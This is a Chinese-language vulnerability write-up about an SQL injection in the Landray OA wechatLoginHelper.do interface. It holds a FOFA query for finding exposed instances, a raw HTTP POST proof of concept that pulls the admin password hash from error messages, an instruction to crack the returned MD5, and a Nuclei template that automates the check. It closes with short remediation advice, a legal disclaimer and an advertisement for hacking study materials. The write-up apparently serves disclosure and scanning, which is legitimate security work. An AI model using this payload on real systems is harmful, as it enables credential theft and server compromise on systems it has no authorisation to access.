蓝凌OA wechatLoginHelper.do SQL注入

【产品&&漏洞简述】

蓝凌核心产品EKP平台定位为新一代数字化生态OA平台，数字化向纵深发展，正加速构建产业互联网，对企业协作能力提出更高要求，蓝凌新一代生态型OA平台能够支撑办公数字化、管理智能化、应用平台化、组织生态化，赋能大中型组织更高效的内外协作与管理，支撑商业模式创新与转型发展。

蓝凌OA wechatLoginHelper.do接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

【资产测绘Query】

1. app="Landray-OA系统"

【产品界面】

【poc】

1. POST /third/wechat/wechatLoginHelper.do HTTP/1.1
2. Host:
3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4. Content-Type: application/x-www-form-urlencoded
5. Accept-Encoding: gzip, deflate, br
6. Connection: close
8. method=edit&uid=1'and+(SELECT+'password-is:'%2BfdPassword%2B'----'+FROM+com.landray.kmss.sys.organization.model.SysOrgPerson+where+fdLoginName='admin')=1+and+'1'='1

获取的md5值解密

【Nuclei-Poc验证】

1. id: Landray-OA-wechatLoginHelper-sql-Injection
3. info:
4. name: 蓝凌OA wechatLoginHelper.do接口处存在SQL注入漏洞
5. author: 王阿姨介绍的
6. severity: critical
7. description: 蓝凌OA wechatLoginHelper.do接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
8. reference:
9. metadata:
10. verified: true
11. max-request: 1
12. fofa-query: FOFA:app="Landray-OA系统"
13. tags: sql Injection
15. http:
16. - raw:
17. - |
18. POST /third/wechat/wechatLoginHelper.do HTTP/1.1
19. Host: {{Hostname}}
20. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
21. Content-Type: application/x-www-form-urlencoded
22. Accept-Encoding: gzip, deflate, br
23. Connection: close
25. method=edit&uid=1'and+(SELECT+'password-is:'%2BfdPassword%2B'----'+FROM+com.landray.kmss.sys.organization.model.SysOrgPerson+where+fdLoginName='admin')=1+and+'1'='1
28. matchers:
29. - type: dsl
30. dsl:
31. - status_code==200 && contains_all(body,"password-is:","SQLException")

【修复建议】

1、请联系厂商进行修复。
2、如非必要，禁止公网访问该系统。
3、设置白名单访问。

 声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

免费领取安全学习资料包！

渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等

应急响应笔记

学习路线